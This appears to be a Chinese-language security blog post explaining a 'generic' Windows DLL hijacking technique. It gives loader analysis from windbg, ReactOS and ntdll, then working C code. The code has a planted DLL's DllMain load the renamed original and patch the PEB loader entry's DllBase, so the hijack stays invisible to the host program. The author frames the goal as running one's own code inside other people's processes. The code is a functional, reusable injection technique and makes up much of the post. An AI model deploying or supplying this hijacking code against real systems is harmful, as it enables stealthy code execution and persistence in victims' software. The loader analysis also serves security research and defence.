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通用 DLL 劫持技术研究
by anhkgg
2018 年 11 月 29 日
写在前面
Dll 劫持相信大家都不陌生，理论就不多说了。Dll 劫持的目的一般都是为了自己的 dll 模块能够在别人进程中运行，然后做些不可描述的事情。
为了让别人的程序能够正常运行，通常都需要在自己的 dll 中导出和劫持的目标 dll 相同的函数接口，然后在自己的接口函数中调用原始 dll 的函数，如此使得原始 dll 的功能能够正常被使用。导出接口可以自己手工写，也可以通过工具自动生成，比如著名的Aheadlib。这种方法的缺点就是针对不同的 dll 需要导出不同的接口，虽然有工具帮助，但也有限制，比如不支持 x64。
除此之外，很早之前就知道一种通用 dll 劫持的方法，原理大致是在自己的 dll 的 dllmian 中加载被劫持 dll，然后修改 loadlibrary 的返回值为被劫持 dll 加载后的模块句柄。这种方式就是自己的 dll 不用导出和被劫持 dll 相同的函数接口，使用更加方便，也更加通用。
下面就尝试分析一下如何实现这种通用的 dll 劫持方法。
原理分析
随便写一个测试代码：
//mydll.dll 伪造的用于劫持 mydll.dll 的 dll 代码
//mydll.dll.1 是把 test.exe 加载的原始 dll 修改为这个名字
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
__debugbreak();
HMODULE hmod = LoadLibraryW("mydll.dll.1");
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
//test.exe
void main()
{
LoadLibraryW(L"mydll.dll");
}
用 windbg 加载看看堆栈，如下所示。在 test 中通过 LoadLibraryW 加载 mydll.dll ，最后进入 mydll!DllMain。现在需要分析系统映射 dll 之后是如何把基地址返回给 LoadLibraryW，然后才能想办法把这个值给修改成加载 mydll.dll.1 的值。
0:000> kvn
# ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0025eaf8 6e4112ec 6e410000 00000000 00000000 mydll+0x101d
01 0025eb38 6e4113c9 6e410000 00000001 00000000 mydll+0x12ec
02 0025eb4c 77d889d8 6e410000 00000001 00000000 mydll!DllMain+0x13
03 0025eb6c 77d95c41 6e4113ad 6e410000 00000001 ntdll!LdrpCallInitRoutine+0x14
04 0025ec60 77d9052e 00000000 74e92d11 77d77c9a ntdll!LdrpRunInitializeRoutines+0x26f (FPO: [Non-Fpo])
05 0025edcc 77d9232c 0025ee2c 0025edf8 00000000 ntdll!LdrpLoadDll+0x4d1 (FPO: [Non-Fpo])
06 0025ee00 75ee88ee 0037429c 0025ee40 0025ee2c ntdll!LdrLoadDll+0x92 (FPO: [Non-Fpo])
07 0025ee38 761b3c12 00000000 00000000 00000001 KERNELBASE!LoadLibraryExW+0x15a (FPO: [Non-Fpo])
08 0025ee4c 6848e3f5 0025ee58 003a0043 0055005c kernel32!LoadLibraryW+0x11 (FPO: [Non-Fpo])
09 0025f068 6848d1de d9131536 00000000 00000000 test!start+0x2b5
0a 0025f09c 6848e245 013a0000 761b3c26 76b3ea5f test!start+0x21e86e
0b 0025f328 013a1918 013a0000 0037187a 00000000 test!start+0x105
0c 0025fb44 013a30b9 013a0000 00000000 0037187a test+0x1918
0d 0025fb90 761b3c45 7ffd9000 0025fbdc 77d937f5 test+0x30b9
0e 0025fb9c 77d937f5 7ffd9000 74e93b01 00000000 kernel32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])
0f 0025fbdc 77d937c8 013a312b 7ffd9000 00000000 ntdll!__RtlUserThreadStart+0x70 (FPO: [Non-Fpo])
10 0025fbf4 00000000 013a312b 7ffd9000 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])
先去 reactos 翻看一下，找到如下的函数调用结构。在 LdrLoadDll 参数中 BaseAddress 就是最后返回给 LoadLibraryW 的值，所以继续看 BaseAddress 是如何赋值的。BaseAddress 继续传给 LdrpLoadDll，在 LdrpLoadDll 中，首先通过 LdrpMapDll 映射 dll 模块，返回一个 LdrEntry 的 LDR_DATA_TABLE_ENTRY 结构，保存了 dll 加载的基址、大小、名字等信息。接着 LdrEntry 会插入到 peb->ldr 链表结构中，然后调用 LdrpRunInitializeRoutines，在 LdrpRunInitializeRoutines 中最终会调用 DllMain，此处不继续深入分析。最后 LdrEntry->DllBase 赋值给 BaseAddress。到此流程分析清楚，下面考虑如何修改这个值。
NTSTATUS
NTAPI
LdrLoadDll(IN PWSTR SearchPath OPTIONAL,
IN PULONG DllCharacteristics OPTIONAL,
IN PUNICODE_STRING DllName,
OUT PVOID *BaseAddress) {
Status = LdrpLoadDll(RedirectedDll,
SearchPath,
DllCharacteristics,
DllName,
BaseAddress,
TRUE);
}
NTSTATUS
NTAPI
LdrpLoadDll(IN BOOLEAN Redirected,
IN PWSTR DllPath OPTIONAL,
IN PULONG DllCharacteristics OPTIONAL,
IN PUNICODE_STRING DllName,
OUT PVOID *BaseAddress,
IN BOOLEAN CallInit)
{
Status = LdrpMapDll(DllPath,
DllPath,
NameBuffer,
DllCharacteristics,
FALSE,
Redirected,
&LdrEntry);
//插入 peb->ldr 链表
Status = LdrpRunInitializeRoutines(NULL);
if (NT_SUCCESS(Status))
{
/* Return the base address */
*BaseAddress = LdrEntry->DllBase;
}
}
LdrpRunInitializeRoutines-> LdrpCallInitRoutine -> DllMain
记得映像中的那种方法，是通过堆栈回溯到 LdrpLoadDll 中，找到 LdrEntry 进行修改（不确实是否准备，时间久远了），但因为 LdrEntry 是局部变量，不同系统可以不一样，兼容性差一些。但看到这个调用流程之后，其实还有另一种方式。LdrEntry->DllBase 赋值给 BaseAddress，那么在赋值之前把这个 LdrEntry->DllBase 修改了即可，在 DllMain 正好是修改的时机，但是不需要使用堆栈回溯的方式。因为 LdrEntry 已经插入到 peb->ldr 中，那么在 DllMain 中可以直接获取 peb->ldr 遍历链表找到目标 dll 堆栈的 LdrEntry 就是需要修改的 LdrEntry，然后修改即可。
不过这个分析都是基于 reactos 来的，还是需要确认一下真是 windows 系统的 ntdll 是如何首先的。
在 win7 x64 系统中，ntdll 的关键代码如下所示。差别是 LdrpLoadDll 直接返回的 ldrentry，而不是 BaseAddress，在 LdrpLoadDll 内部流程基本和 reactos 一致。所以方案应该可行，后续验证确实证明可行。
int __fastcall LdrLoadDll()
{
v11 = LdrpLoadDll(v5, v9, v10, 1, 0i64, &dataentry);
v12 = v11;
if ( v11 >= 0 )
*dllbase = dataentry->DllBase;
}
尝试实现
实现其实非常简单，关键代码如下所示。两部分代码，一个是加载原始 dll 模块（ mydll.dll.1 ）拿到真是的模块句柄 hMod （基地址），第二个就是遍历 peb->ldr 找到 mydll.dll 的 ldrentry，然后修改 dllbase 为 hMod。
void* NtCurrentPeb()
{
__asm {
mov eax, fs:[0x30];
}
}
PEB_LDR_DATA* NtGetPebLdr(void* peb)
{
__asm {
mov eax, peb;
mov eax, [eax + 0xc];
}
}
VOID SuperDllHijack(LPCWSTR dllname, HMODULE hMod)
{
WCHAR wszDllName[100] = { 0 };
void* peb = NtCurrentPeb();
PEB_LDR_DATA* ldr = NtGetPebLdr(peb);
for (LIST_ENTRY* entry = ldr->InLoadOrderModuleList.Blink;
entry != (LIST_ENTRY*)(&ldr->InLoadOrderModuleList);
entry = entry->Blink) {
PLDR_DATA_TABLE_ENTRY data = (PLDR_DATA_TABLE_ENTRY)entry;
memset(wszDllName, 0, 100 * 2);
memcpy(wszDllName, data->BaseDllName.Buffer, data->BaseDllName.Length);
if (!_wcsicmp(wszDllName, dllname)) {
data->DllBase = hMod;
break;
}
}
}
VOID DllHijack(HMODULE hMod)
{
TCHAR tszDllPath[MAX_PATH] = { 0 };
GetModuleFileName(hMod, tszDllPath, MAX_PATH);
PathRemoveFileSpec(tszDllPath);
PathAppend(tszDllPath, TEXT("mydll.dll.1"));
HMODULE hMod1 = LoadLibrary(tszDllPath);
SuperDllHijack(L"mydll.dll", hMod1);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
DllHijack(hModule);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
总结
经测试在 win7 x84 和 win10 x64 中即是有效的，其他系统未测试，如果有问题，请留言或自行解决。
害怕这种方案不行，还想了另一种思路，在 dllmain 中 hook LdrpLoadDll 的返回调用地址处，修改 dataentry 的值，因为 LdrLoadDll 函数接口固定，所以这种方式也应该是通用的，不过实现起来其实还比现在的麻烦些，所以只是保留了这种思路，并未去实现验证，留给爱折腾的朋友吧。
最后，代码上传了 github，https://github.com/anhkgg/SuperDllHijack
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